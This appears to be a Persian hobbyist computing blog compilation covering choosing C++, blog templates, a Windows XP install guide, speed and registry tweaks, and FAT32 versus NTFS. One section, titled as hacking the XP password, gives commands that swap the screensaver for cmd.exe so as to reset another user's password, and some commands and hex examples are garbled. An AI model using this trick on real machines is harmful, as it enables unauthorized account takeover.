چه چیزی رو با چی بنویسیم ؟

قبل از شروع درس از تمامی دوستان که به اینجا میان و مطالب رو میخونن تشکر میکنم و از استادای خوبم میخوام که اگه جایی کمی و کاستی و یا احیاناُ اشتباهی دیدن ، به بنده گوشزد نمایند و مرا در هرچه بهتر شدن این نوشتها یاری نمایند .
عاقبت ای خاک جانبخش وطن می سازمت با بیل یا با قلم می سازمت
من امروز اولین درس از c++ رو شروع میکنم اما قبل از اون میخواهم بپرسم که ایا هر برنامه ای رو باید با c++ بنویسیم ؟ مثال : در شرکتی به حسن گفته شده یک برنامه حساب کتاب ساده بنویس ؟
ایا حسن با c++ باید بنویسد یا پیشنهاد بهتر و سریعتری نیز هست ؟
در چنین مواقعی برنامه نویس باید با تشخیص نوع زبان برنامه نویسی بهترین کامپایلر زبان را انتخاب کند
اگر حسن با یک فرم کوتاه و ساده روبروست نیازی به c++ نمی باشد و خیلی راحت تر با excel یا با access که پایگاه اطلاعاتی می باشد به هدف خود می رسد تا با c++ اگر فرم ها باید مانند یک برنامه مستقل باشد باز هم می توان خیلی راحت تر از ویژوال بیسیک یا ویژوال فاکس استفاده کند کاربران dos نیز می توانند از فاکس پرو استفاده کنند.
برنامه فوق را با c++ هم میتوان نوشت اما وقت بیشتری میگیرد.
سئوال : پس چه موقع ازc++ استفاده کنیم ؟
زمانی که به برنامه سیستمی ،مقیم در حافظه ، هوش مصنوعی ، بازی و ... نیاز هست البته از c++ کلاً برنامه های با امنیت بالا و هجم کم استفاده میشود بطوری که هجم یک برنامه با ویژوال بیسیک یا فاکس پرو بسیار بیشتر از همان برنامه به زبان c++ می باشد.
در برنامه نویسی حرفه ای معمولاً از تلفیق دو یا حتی سه زبان استفاده می شود .
مثلاُ دز اکثر برنامه های که با ویژوال بیسیک یا دلفی می نویسند از بانکهای اطلاعاتی access استفاده میکنند. این موارد بستگی دارد به آن شرکت سازنده نرم افزار یا ه خود شما؟
در یک شرکت برنامه نویسی چه میگذرد؟ مدیریت پس از بررسی نوع برنامه که قرار است نوشته شود با استفاده از متخصصین امر مثلاً اگر قرار بر آن شد که برنامه حسابداری نوشته شود با استفاده از اطلاعات متخصصین حسابداری شروع به نوشتن مینمایند بصورتی که هر بخش از کار تفکیک شده و به واحدی خاص با استانداری که مدیریت مشخص میکند داده میشود و هر بخش کاری خاص را انجام میدهد که بطور مثال بخشی وظیفه نوشتن پشتیبان برنامه بعضی نوشتن بخش نصب برنامه بعضی ورود اطلاعات ،پردازش ،و.. را برعهده میگیرند که پس از اتمام برنامه های باهم لینک یا بگم میکس و ادغام گشته یکی مشوند.
من د شرکت کار نمی کنم ایا میتوانم برنامه نویس خوبی باشم ؟ بلـــــــــــــی
کار سخت تر است شما باید تمام مراحل رو خودتون طراحی پیاده سازی و بنویسید .
من سعی میکنم کارم تکراری نباشد یعنی بدون اینکه از اول متغییرها رو بگم سریع میرم سر اصل مطلب تا هم خسته نشده هم کمکم به اونا عادت کرده و پس از ایجاد علاقه اونارو راحت تر درک کنید .


قالبهای اماده

به خاطر اینکه فشارها برای طراحی قالب عمومی به شدت بالا رفته و همش ایمیل پشته ایمیله که قالب میخوان ، ما هم هر چی تو وبلاگ مینویسیم انگار نه انگار هستند .
در یک عملیات انتحاری، قالب MT دوست عزیزم جناب لاست رو از روی خود وبلاگش و بدون اینکه سورسشو داشته باشم به قالب پرشین بلاگ و بلاگ اسپات و بلاگ اسکای تغییر دادم .تا اینکه خلق الله حالشو ببرن ...
راستی این نسخه ای که اینجا گذاشتم با DIV طراحی شده و البته به هر مشکلی هم اگر برخوردید حتما خبر بدین تا بر طرفش کنم .
مخلص شما .


قالب مویبل تایپ

قالب پرشین بلاگ

قالب بلاگ اسپات

قالب بلاگ اسکای

اموزش نصب ویندوز xp

 

ابتدا باید یک cd ویندوزxp داشته باشید . دقت کنید که این cd باید bootable باشد. اگر میخواهید که ویندوز فعلی را تبدیل به ویندوز xp کنید یا update کنید نیازی به cd  بوت ندارید. cd ویندوز را درون cd rom گذاشته و ویندوز اتوماتیک auto run خواهد شد.دقت کنید که اگر بخواهید ویندوز فعلی خود را که مثلا 98 یاme یا2000 میباشد را update کنید اطلاعات شما مثلا my document شما و برنامه های نصب شده شما حفظ خواهد شد.ولی اگر ویندوز شما ایراد دارد.بهتر است ان را از اول فرمت و نصب کنید .

بعد از این که cd ویندوز را گذاشتید. خود به خود مرحله نصب ویندوز شروع خواهد شد . روی گزینه install windows xp کلیک کنید.

در قسمت بعد از شما پرسیده میشود که میخواهید یک ویندوز جدید نصب کنید یا ویندوز فعلی را update کنید در صورتی که در ویندوز فعلی شما ایرادی ندارد و میخواهید ان را تبدیل به xp کنید این مرحله را رد کنید و دست نزنید زیرا به طور خودکار upgrade  recommandedانتخاب شده است.ولی چنانچه قصد دارید ویندوز جدیدی در درایوی دیگر نصب کنید باید new instalation را انتخاب کنید.در این صورت بعد از نصب کامل ویندوز xp هنگامی که سیستم را روشن میکنید دو منو ظاهر شده و از شما پرسیده خواهد شد که میخواهید وارد کدام ویندوز شوید.بدین ترتیب شما 2 ویندوز خواهید داشت        

 در مرحله بعد باید سریال ویندوز را وارد کنید این سریال احتمالا در پشت کیس cd یا درون خود cd  داخل فایلی به نام serial یا cd key یا readme نوشته شده.

 در قسمت بعد روی دکمه advanced option کلیک کرده و در پنجره جدید گزینه دوم را تیک بزنید.این برای این است که شما درایوی را که ویندوز در ان ریخته شود را انتخاب کنید.همچنین جهت تسریع کار میتوانید گزینه اول را تیک بزنید تا تمامی فایلهای ویندوز روی هارد ریخته شده و از انجا نصب شوند.بر روی ok کلیک کنید. در قسمت پایین میتوانید زبان خود را انتخاب کنید ان را farsi‌انتخاب کنید تا ابزار فارسی نصب شوند. (اگر تصمیم دارید از فارسی سازی مثل سینا پک استفاده کنید این قسمت را دست نزنید).حال بر روی next کلیک کنید.

 در این مرحله از شما سوال میشود میخواهید نصب ویندوز رو از اینترنت به روز کنید؟ چنانچه مایل باشید میتوانید گزینه بالا را انتخاب کرده و next را بزنید در این صورت اخرین update ها از اینترنت دانلود خواهد شدولی با انتخاب گزینه پایینی بدون update وارد مرحله بعد می شوید.به هر حال بعد از رد کردن این قسمت فایلهای ضروری اتوماتیک کپی یا دانلود خواهند شد و سیستم restart خواهد شد.

 منتظر بمانید تا ویندوز مراحل نصب را طی کند بعد از این که به متنی که حاوی توضیحات مایکروسافت و نوعی قرارداد با شما میباشد رسیدید.روی F8 کلیک کنید تا تائید شود.

 در قسمت بعد چنانچه شما قبلا ویندوزی داشته باشید از شما خواهد شد که میخواهید روی همان ویندوز نصب شود یا انتخاب با شما باشد. با زدن دکمه R میتوانید روی همان ویندوز نصب کنید و با زدن دکمهEsc‌ انتخاب درایو ظاهر خواهد شد.پیشنهاد ما Esc‌میباشد.

 اگر Esc‌را زده باشید این قسمت یعنی قسمت انتخاب درایو ظاهرمی شود. میتوانید درایو مورد نظر را انتخاب کنید همچنین با زدن دکمه D‌میتوانید درایو را پاک کنید تا بعدا تبدیل به درایو جدید یا تبدیل به دو یا چند درایو کنید. بعد از این که D را بزنید دوباره دکمه L‌رابزنید حال درایو پاک شده.میتوانید درایو پاک شده را انتخاب و با زدن دکمهC‌ان را دوباره بسازید.وقتی ان را میسازید میتوانید هجم ان را تایین کنید .مثلا اگر میخواهید درایو را تبدیل به دو درایو کنید.باید هجم فعلی را تبدیل به 2 کرده و Enter کنید.حال دو درایو جدید خواهید داشت.البته برای عوض کردن یا تقسیم هجم درایو میتوانید از Partition Magic هم استفاده کنید که اموزش ان در بخش اموزش گذاشته شده.یا این که برای ساخت پارتیشن های خود باید Fdisk ‌را بلد باشید که ان هم در قسمت اموزش یاد داده شده است. به حر حال با انتخاب درایو مورد نظر خود میتوانید وارد قسمت بعد شوید.

 در اینجا میتوانید انتخاب کنید که فرمت درایو شما چه باشد FAT یا NTFS‌ انتخاب کنید.بهتر است گزینه هایی که جلوی ان کلمه Quick‌ نوشته شده را انتخاب نکنید زیرا فرمت کامل مناسب تر است. بعد از این که مراحل را رد کردید ویندوز فرمت انتخابی شما را اغاز کرده و سپس فایلهای مورد نیاز را کپی میکند. سپس سیستم restart خواهد شد.

 بعد از شروع مجدد سیستم منتظر بمانید تا مرحل نصب اتوماتیک پیش برود تا اینکه شما با پنجره ای مواجه خواهید شد.در اینجا زبان  خود را انتخاب میکنید .چنانچه در قسمت چهارم شما فارسی را انتخاب کرده اید این قسمت را دست نزنید . فقط در قسمت details عربی را remove‌ کنید(البته این کار بستگی به نوع کیبورد شما دارد ولی در اکثر کیبوردها با این کار چند ایراد جزئی بر طرف خواهد شد به هر حال فارسی سازی ویندوز xp کامل نیست و ایراداتی در حروف ی پ ژ گ احتمالا خواهید داشت برای فارسی کردن ویندوز میتوانید از یک فارسی ساز استفاده کنید) رو دکمه ok زده و next‌کنید.

از اینجا به بعد برای هر دو حالت نصب از روی ویندوز و نصب از boot مشترک میباشد.

 در این جا نام خود و نام کمپانی یا شرکت یا هرچه دوست دارید.مثلا home

 در اینجا نام کامپیوتر خود را مینویسید که نامی به عنوان پیش فرض نوشته میشود.در قسمت پایین میتوانید پسور مدیریت کامپیوتر را وارد کنید به این ترتیب کسی نمیتواند به جای شما وارد شود زیرا شما مدیریت کامپیوتر را دارید و میتوانید حتی برای استفاده کننده های دیگر هم قواعدی خواص تایین کنید مثلا برادر کوچک شما نتواند فایلها را پاک کند.

 این قسمت برای تنظیمات اتصال به اینترنت است.روی منوی پایین روی اول زده و ایران را انتخاب کنید.در قسمت What Area Code استان را میزنید مثلا برای تهران 021      در قسمت dial nomber چیزی ننویسید.و در پایین هم نوع ارتباط تلفنی خود  تون یا پالس را انتخاب کنید و next کنید.

 در اینجا ساعت محلی را انتخاب میکنید.جلوی time zone‌ اگر در ایران هستید GMT+03:30 Tehran‌ را انتخاب کنید.و بر روی next کلیک میکنید .ویندوز نصب را ادامه داده و سر انجام به پایان میرساند و سیستم restart خواهد شد.

 بعد از شروع مجدد ویندوز از شما سوالاتی خواهد شد شما تمام گزینه هایی که از شما میخواهد ویندوز را توسط اینترنت رجیستر کنید را کنسل کنید(باید گزینه های پایین را انتخاب کنید) زیرا هنوز معلوم نیست مودم شما به درستی کار میکند یا نه ؟

سپس در اخر از شما خواسته میشود 5 user معرفی کنید که شما برای اولی نام خود را وارد کرده و finish را بزنید.حال شما وارد ویندوز جدید شده اید.

 

من چند روزه که حوصله ندارم بنویسم

الان هم با زور .......
برم سر درس یا برم سر سرعت به هر حال امروز چند نکته رو میگم به دوستان در مورد سرعت ....
1.روی MAYCOMPUTER
2.کلیک سمت راست رو بزنید بعد روی PROPERTIES کلیک کنید
3. از سر برگ ها DEVICE MANAGER رو انتخاب کنید سپس روی سی دی رام رفته
04قسمت 2 رو تکرار کنید و سپس سر برگ SETTINGS رو انتخاب کنید
5. در این قمت اگر DMA تیک نخورده اونو تیک دار کنید سپس OK رو بزنید
6. در این قسمت سئوال میشود ایا کامپیوتر روشن خاموش شود که شما NO رو بزنید.
7. و همین کار رو برای قسمتهای دیگه تکرار کنید البته بجز بعضی از کاراکترها بقیه چنین چیزی رو ندارند و جهت آشنای انجام دهید.
8.پس از انجام کاراز سر DEVICE MANAGER به سر برگ PERFORMANCE بروید.
9. در قسمت VIRTUAL MEMORY کلیک کرده از گزینه های کادر آن .
10. از بین درایو ها درایو مورد نظر(درایو ظرفیت خالی بالا )را پیدا نموده .
11. MINIMUM رو بنظر من روی 300 و MAX رو روی 3000 تنظیم کنید
12. سپس OK رو بزنید و قبل از اینکه به سئوال خاموش روشن شدن جواب مثبت دهید .
13. کامپیوتر پس از روشن خاموش شدن UPDATE می شود که برای اولین بار کمی باید صبر کنید.
14. پس از انجام این کار میتونید یه کارای دیگری هم انجام دهید که به وقتش میگم براتون
در مورد درس C++ نیز قرار بود تمرین رو حل کنید و بفرستید . ولی من در جلسه بعدی تمرین حل شده رو با اسم طرف حل کننده ذکر میکنم البته اگه کسی حل کرده باشه .
ولی خودمونیما شانس اوردید که من حوصله نوشتن نداشتم وگرنه .........

تا بعد .... بدرود و دوصد سلام و موفق باشید

دو واژه به درد بخور

شاید شما هم تا به حال به این واژه بر خورده باشید و به سادگی از کنار اون رد شده باشید  چرا که در ظاهر خیلی سخت وتخصصی به نظر می آیند پس با من همراه باشید و قضاوت کنید که واقعا این طوره

سیستم فایل:

سیستم فایل یعنی سیستمی که بر اساس آن فایل های شما طبقه بندی می شوند و امنیت فایل و خیلی چیزهای دیگر هم به همین مربوط می شود.

تفاوتهای FAT32 با NTFS

 با FAT32 یا File Allocation Table میتوانید......

fat32 دارای این امکانات میباشد از طریق این فرمت میتوانید هم ونیدوزهای 98 و me و هم ویندوزهای xp و 2000 را روی سیستم نصب کنید که در مورد فرمت ntfs‌این مورد فقط به ویندوزهای 2000 و xp ختم میشود.

میتوانید ان را به ntfs تبدیل کنید در حالی که سیستم ntfs قابل برگشت به fat32 نیست.(البته منظور یک درایوست که پر باشد و بدون از دست دادن اطلاعات این کار را انجام دهید)

امکان فرمت فلاپی را دارید و همچنین با یک فلاپی بوت میتوانید به فایلها دسترسی داشته باشید.

 با NTFS یاNew Technology File System  میتوانید......

میتوانید فایلها را رمز گزاری کنید تا فقط کاربران خاصی از ان استفاده کنند.

از پیکر بندیهای خطاپذیر دیسک مانند Raid5 یا Mirroring استفاده کنید.

امکان زخیره فایلهای بزرگتر از 4 GB را داشته باشید.

امکان فرمت پارتیشن های بزرگتر از 32 GB راداشته باشید.

از دسترسی فایلها به وسیله بوت جلوگیری کنید.

دارای سیستمی پایدار با اسیب پذیری کمتر نسبت به خطاها و خرابیها باشید.

 

سازگاری ویندوزها:

WIN95:FAT16

WIN98:FAT16,FAT32

WINME:FAT32

WIN NT:FAT16,NTFS

WIN 2000:FAT 16,FAT 32,NTFS

WIN XP:FAT32,NTFS

 

 

چگونه FAT را به NTFS تبدیل کنیم؟

ابتدا یک پشتیبان از تمام فایل های مهم تهیه کنید.

اگر ویدوز اکس پی را روی پارتیشن FAT32,FAT نصب کرده اید و می خواهید ارتقاء دهید،کافیست:

روی منوی Start,All Programs,Accessories,Command Prompt کلیک کنید .

درایو مورد نظر را انتخاب نموده و تایپ کنید:

Convert.exe c:/fs:ntfs

ویندوز اکس پی یک والیوم می خواهد که هرچه برگزینید در کنار درایو به نمایش در می آید:

اگر درایو WinXP را برگزینید،این برنامه از شما می پرسد می خواهسد عملیات بوت در تبدیل بعدی انجام گیرد یا خیر.

در صورتی که بخواهید NTFS را به FAT برگردانید،تنها راه فرمت دیسک است که تمام اطلاعات از بین می رود.

نکته:

در صورتی که از 2 ویندوز استفاده می کنید،مثلا Win98,WinXP،باید FAT32 را برگزینید چون ویندوز 98 در آن صورا ویندوز اکس پی را نمی خواند.

البته با partition magicمیتوان به راحتی این تبدیلات را انجام دادکه در حال حاضر مشغول تهیه رهنمای کامل این نرم افزار هستم که با هاش میشه خیلی کارا کرد که در موردش جداگانه و مفصل توضیح میدم  هر کس این راهنما را می خواد آدرس ایمیلش را بزاره تا در اولین فرصت براش بفرستم.

هک کردن پاسورد ویندوز XP :

۱-به Start > Run بروید و فرمان CMD را تایپ کرده Enter را بزنید.
۲-در پنجره ی باز شده این فرمان‌ها را بدون عیب و نقص اجرا کنید.


 cd .A
 cdwindowssystem32   .B
 mkdir hackpass   .C
copy logon.scr hackpass logon.scr   .D
 copy cmd.exe hackpass cmd.exe   .E
del logon.scr   .F
     rename cmd.exe logon.scr  .G
 exit   .H

با این کار در حقیقت پرامت داس را بجای Screen Saver به ویندوز معرفی می‌کنید و این کار، ویندوز را ناپایدار می‌کند.
فقط توصیه می‌کنم قسمت F و G را خیلی سریع انجام دهید، چون در غیر این صورت ویندوز با استفاده از سیستمی که فایل‌های مهم ویندوز را بازیابی میکند، تغییراتی که ایجاد کرده‌اید را بازسازی خواهد کرد.یعنی این دو خط دستور را باید در عرض کمتر 2 ثانیه انجام دهید.برای اینکار می‌توانید از Clip Board ویندوز کمک بگیرید، یعنی خط G را در Clip Board کپی کنید سپس خط F را اجرا کرده و بلافاصله بعد از آن، با کلیک راست کردن بر روی خط فرمان دستور خط G را Paste کرده سپس با زدن Enter اجرا کنید.
3-کامپیوتر را Restart نمایید.
4-Screen Saver ویندوز را فعال نمایید یا منتظر بمانید تا خود بخود اجرا شود.خواهید دید که، بجای Screen Saver، خط فرمان DOS ظاهر می‌شود.
5-اکنون اگر مثلا User name آن LORD بود و خواستید پسورد آن‌را به 222 تغییر دهید این فرمان را در پرامپت DOS انجام دهید:
Net user LORD 222
به این ترتیب پسورد به 222 تغییر خواهد یافت.
نکته: حتما بعد از پایان کار دو فایلی را که در پوشه‌ی hackpass کپی کرده‌اید به جای اصلی ‌آن برگردانید.

یکی از دوستان بهم گفت که اگه طرف گست نداشته باشه چی؟برنامه ای هم برای اینک کار وجود داره؟باید در جوابش بگم آره

مخفی کردن پارتیشن ها :

مسیر : HKEY_Current_UserSoftwareMicrosoftWindowsCurrent VersionPoliciesExplorer
نوع : Binary Value
دستور : NoDrive
مقدار : طبق مقادیری که در زیر داده شده است.

مخفی کردن یک پارتیشن
مثال :
مخفی کردن درایو C : مقدار= 00 00 00 04
مخفی کردن درایو I : مقدار= 00 00 01 00

مخفی کردن بیشتر از یک پارتیشن
برای مخفی کردن چند پارتیشن، مقادیر آنها را با هم جمع کرده و اگر ستونی از مجموع پارتیشنها چهار یا سه رقمی شد طبق فرمول زیر مقادیر را جایگزین میکنیم .
[ Hex : A=10 - B=11 - C=12 - D=13 - E=14 - F=15 ]

مثال 1 )
مخفی کردن درایو C : مقدار = 00 00 00 04
مخفی کردن درایو E : مقدار = 00 00 00 10
مخفی کردن درایو J : مقدار = 00 00 02 00 +
                          -----------------------------------
مخفی کردن درایو CوEوJ: مجموع= 00 00 02 14

مثال 2 )
مخفی کردن درایو C : مقدار = 00 00 00 04
مخفی کردن درایو F : مقدار = 00 00 01 00 +
                          -----------------------------------
مخفی کردن درایو CوI: مجموع = 00 00 01 04

قرار دادن عکس پس زمینه در Toolbar پنجره های MyComputer و Explore

در پنجره های MyComputer و Explorer و یا هر پنجره ای از ویندوز که دارای Toolbar استاندارد باشد، به کمک این دستور می توان پنجره ویندوز را از یکنواختی بیرون آورده و عکس دلخواه پس زمینه را انتخاب کرده و در پس زمینه Toolbar قرار داد .
توجه :
 فایل مورد نظر باید دارای پسوند bmp و یا gif باشد .
 برای برداشتن عکس و برگشت به حالت اولیه، دستور را از مسیر گفته شده حذف کنید .

سیستم عامل : 98 - XP - 2000 - Me
مسیر : HKEY_Current_UserSoftwareMicrosoftInternet ExplorerToolbar
نوع : String Value
دستور : BackBitmapShell
مقدار : مسیر عکس مورد نظر را تایپ کنید .

به همین راحتی